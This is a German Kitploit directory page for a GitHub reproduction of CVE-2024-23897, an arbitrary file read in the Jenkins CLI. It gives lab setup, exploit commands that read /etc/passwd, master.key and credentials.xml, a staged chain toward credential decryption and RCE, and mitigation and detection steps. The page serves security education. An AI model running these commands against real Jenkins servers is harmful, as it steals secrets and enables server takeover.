Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2024-23897-jenkins_lfi_reproduction — Reproduktion von cve-2024-23897-jenkins_lfi_reproduction | Kitploit
Tools/GitHubGitHub/razureink/cve-2024-23897-jenkins_lfi_reproduction
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubrazureink/cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction

Reproduktion von cve-2024-23897-jenkins_lfi_reproduction

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 27 TagenNoch nicht geprüft

CVE-2024-23897 — Schwachstelle für beliebiges Dateilesen in der Jenkins-CLI

CVSS 9.8 (KRITISCH) — Wird derzeit aktiv in freier Wildbahn ausgenutzt


Überblick

CVE-2024-23897 ist eine kritische Schwachstelle für beliebiges Dateilesen in der Befehlszeilenschnittstelle (CLI) von Jenkins. Die Jenkins-CLI verwendet die Bibliothek args4j zum Parsen von Befehlsargumenten. Diese Bibliothek expandiert das Zeichen @ gefolgt von einem Dateipfad (@/path/to/file), indem sie den Inhalt dieser Datei liest und als Argumente einfügt. Ein nicht authentifizierter Angreifer kann dieses Verhalten ausnutzen, um ohne jegliche Authentifizierung beliebige Dateien im Dateisystem des Jenkins-Controllers zu lesen.

In Kombination mit der Extraktion von credentials.xml, secrets oder master.key kann diese Schwachstelle zu einer vollständigen Kompromittierung des Servers (RCE) führen.


Technische Details

Die Expansion des @-Zeichens in args4j

Die Bibliothek args4j (die vom CLI-Befehlsparser von Jenkins verwendet wird) implementiert eine Komfortfunktion: Wenn ein Argument mit @ beginnt, behandelt sie den Rest des Arguments als Dateipfad, liest den Inhalt der Datei und teilt ihn in mehrere Argumente auf. Dies sollte es ermöglichen, große Argumentlisten über Dateien zu übergeben.

Beispiel: java -jar jenkins-cli.jar who-am-i @/etc/passwd würde dazu führen, dass args4j /etc/passwd liest und dessen Inhalt als Argumente für den Befehl who-am-i verwendet.

Da bestimmte CLI-Befehle (wie connect-node) Argumentwerte in Fehlermeldungen/Antworten zurückspiegeln oder einbeziehen, kann ein Angreifer den Dateiinhalt in der CLI-Antwort beobachten.

Der Angriffsablauf

  1. Der Angreifer verbindet sich mit dem Jenkins-CLI-Port (Standard: 50000 oder dem HTTP-CLI-Endpunkt)
  2. Der Angreifer sendet einen CLI-Befehl mit einem Argument wie @/etc/passwd
  3. Der args4j-Parser von Jenkins liest die Datei und expandiert sie in Argumente
  4. Der CLI-Befehl verarbeitet diese Argumente und der Dateiinhalt wird in der Antwort oder Fehlermeldung offengelegt
  5. Der Angreifer extrahiert sensible Dateien zur Privilegienausweitung

Warum dies kritisch ist

  • Keine Authentifizierung erforderlich — Der CLI-Port ist ohne jegliche Anmeldeinformationen zugänglich
  • Keine Voraussetzungen — Es müssen keine speziellen Berechtigungen oder Jenkins-Funktionen aktiviert sein
  • Weitreichende Auswirkungen — Zehntausende exponierte Jenkins-Instanzen
  • Privilegienausweitung — Das Lesen von secrets/master.key ermöglicht die Entschlüsselung von Anmeldeinformationen und RCE

Betroffene Versionen

ProduktBetroffenBehoben
Jenkins (weekly)≤ 2.4412.442
Jenkins LTS≤ 2.426.22.426.3
Jenkins LTS (frühere)≤ 2.414.22.414.3

Hinweis: Alle Jenkins-Versionen vor den oben aufgeführten Fixes sind verwundbar. Die CLI-Funktion existiert seit vielen Jahren in Jenkins, daher sind auch ältere Versionen betroffen, auch wenn sie nicht explizit aufgeführt sind.


Reproduktionsschritte

Einrichtung der Umgebung

  1. Eine verwundbare Jenkins-Instanz mit Docker ausführen:

    root@kitploit:~
    docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
    

    Notieren Sie das anfängliche Admin-Passwort aus den Container-Logs.

  2. Überprüfen, dass der CLI-Port geöffnet ist:

    root@kitploit:~
    # Jenkins CLI port (TCP 50000) should be listening
    # Or you can use the HTTP CLI endpoint at /cli/
    
  3. Python 3.8+ mit den erforderlichen Abhängigkeiten installieren:

    root@kitploit:~
    pip install requests
    

Reproduktion über Python-PoC

root@kitploit:~
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Manuelle Reproduktionsschritte (mit jenkins-cli.jar)

root@kitploit:~
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1

Erwartete Ausgabe

Die Dateiinhalte erscheinen in der CLI-Antwort oder der Fehlerausgabe. Beispielsweise würde das Lesen von /etc/passwd die Passwortdatei-Einträge des Systems zurückgeben.


Proof of Concept (PoC) — Vollständige Exploit-Kette

Schritt 1: Die Jenkins-Umgebung erkunden

root@kitploit:~
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml

Schritt 2: Geheimnisse für RCE extrahieren

root@kitploit:~
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Schritt 3: Anmeldeinformationen entschlüsseln und RCE erlangen

Mit master.key und hudson.util.Secret können Sie Jenkins-Anmeldeinformationen mit Tools wie jenkins_decrypt.py oder dem Skript decrypt.py aus den Referenzen zu CVE-2024-23897 entschlüsseln. Die entschlüsselten Anmeldeinformationen (SSH-Schlüssel, API-Tokens, Cloud-Provider-Schlüssel) können dann verwendet werden, um Remote-Codeausführung auf verbundenen Knoten und in Cloud-Umgebungen zu erreichen.


Gegenmaßnahmen

Sofortige Behebung

Erkennung

Durchsuchen Sie Zugriffsprotokolle oder CLI-Prüfprotokolle nach Argumenten, die @ gefolgt von Dateipfaden enthalten:

root@kitploit:~
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log

# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"

Workaround (falls kein Patch möglich ist)

Wenn ein sofortiger Patch nicht möglich ist, deaktivieren Sie den CLI-Port, indem Sie die Option --webroot setzen oder Port 50000 blockieren. Beachten Sie jedoch, dass der HTTP-CLI-Endpunkt (/cli/) in der Weboberfläche weiterhin ausnutzbar sein kann, daher wird das Patchen dringend empfohlen.


Referenzen

  • Jenkins-Sicherheitshinweis 2024-01-24
  • NVD-Eintrag — CVE-2024-23897
  • NVD-Eintrag — CVE-2024-23898 (zugehöriger CLI-DoS)
  • Dokumentation zur @file-Expansion der args4j-Bibliothek
  • CISA-Katalog bekannter ausgenutzter Schwachstellen

Haftungsausschluss

Dieses Repository dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Die unbefugte Ausnutzung dieser Schwachstelle ist illegal. Die Autoren sind nicht verantwortlich für jeglichen Missbrauch dieser Informationen. Testen Sie nur Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.

Tool herunterladen
AktionDetails
Jenkins aktualisierenUpgrade auf Jenkins 2.442+ oder LTS 2.426.3+ / 2.414.3+
CLI-Port deaktivierenTCP-Port 50000 in der Firewall blockieren, falls nicht benötigt
Netzwerkzugriff einschränkenZugriff auf den Jenkins-CLI-Port nur auf vertrauenswürdige Netzwerke beschränken
Authentifizierung aktivierenSicherstellen, dass Jenkins für den gesamten Zugriff eine Authentifizierung verlangt
Logs überwachenIn Zugriffsprotokollen nach CLI-Befehlen mit @-Argumenten suchen